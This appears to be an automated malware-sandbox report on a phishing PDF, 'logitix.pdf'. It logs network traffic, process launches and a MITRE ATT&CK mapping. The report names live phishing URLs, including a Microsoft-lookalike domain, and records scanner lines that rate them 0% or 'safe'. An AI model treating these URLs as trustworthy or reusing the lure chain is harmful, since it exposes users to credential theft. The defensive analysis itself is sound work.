Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://nbgybnlh.appfilemanagement.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://nbgybnlh.appfilemanagement.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://nbgybnlh.appfilemanagement.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://nbgybnlh.appfilemanagement.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 5735915102-1323985617.cos.ap-singapore.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nbgybnlh.appfilemanagement.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: 5735915102-1323985617.cos.ap-singapore.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 5735915102.businesslawyermicrosoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nbgybnlh.appfilemanagement.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: nbgybnlh.appfilemanagement.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 5735915102-1323985617.cos.ap-singapore.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 5735915102.businesslawyermicrosoft.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/42373058:1736878526:BkU1SksTnjb9f1Ohf5ptrBjTP0MGxxzbJNiX3FkmxeU/901fe1373f1743ff/a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3549sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 14 Jan 2025 19:02:22 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: MISSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dHr48YUKGL%2FPog%2BH0RHplzBt6FCeQeKAM51uaX4DOoWT6n8fM4ct6xanEGQrh70jD7GP6GVoCqOi07ffYrF6OWi15%2BXAxmBaG7rZ2hbvyefXiRuPngZ5diJfyKk7gMoF0PSHKvUp0wBBE%2BPQWSXY2f4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 901fe143de3ade95-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1520&min_rtt=1462&rtt_var=665&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1246&delivery_rate=1511387&cwnd=245&unsent_bytes=0&cid=4c75dd9208e0de7e&ts=311&x=0"

Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_231.10.dr, chromecache_227.10.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: logitix.pdf	String found in binary or memory: http://www.pdf-tools.com)
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_229.10.dr, chromecache_235.10.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_215.10.dr, chromecache_218.10.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_215.10.dr, chromecache_218.10.dr, chromecache_229.10.dr, chromecache_235.10.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_215.10.dr, chromecache_218.10.dr, chromecache_229.10.dr, chromecache_235.10.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: logitix.pdf	String found in binary or memory: https://nbgybnlh.appfilemanagement.com/cwVGt)

Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: classification engine

Classification label: mal64.phis.winPDF@40/94@45/15

Source: logitix.pdf	Initial sample: https://nbgybnlh.appfilemanagement.com/cwVGt
Source: logitix.pdf	Initial sample: https://nbgybnlh.appfilemanagement.com/cwvgt

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 14-01-50-686.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\logitix.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1688,i,9201643466288413071,304059854580606868,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://nbgybnlh.appfilemanagement.com/cwVGt"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2280,i,13341644472511161292,12533665530442832116,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1688,i,9201643466288413071,304059854580606868,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2280,i,13341644472511161292,12533665530442832116,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: logitix.pdf	Initial sample: PDF keyword /JS count = 0
Source: logitix.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: logitix.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Spearphishing Link	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	3 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://5735915102-1323985617.cos.ap-singapore.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://nbgybnlh.appfilemanagement.com/cwVGt)	0%	Avira URL Cloud	safe
https://nbgybnlh.appfilemanagement.com/cwVGt	0%	Avira URL Cloud	safe
http://www.pdf-tools.com)	0%	Avira URL Cloud	safe
https://nbgybnlh.appfilemanagement.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
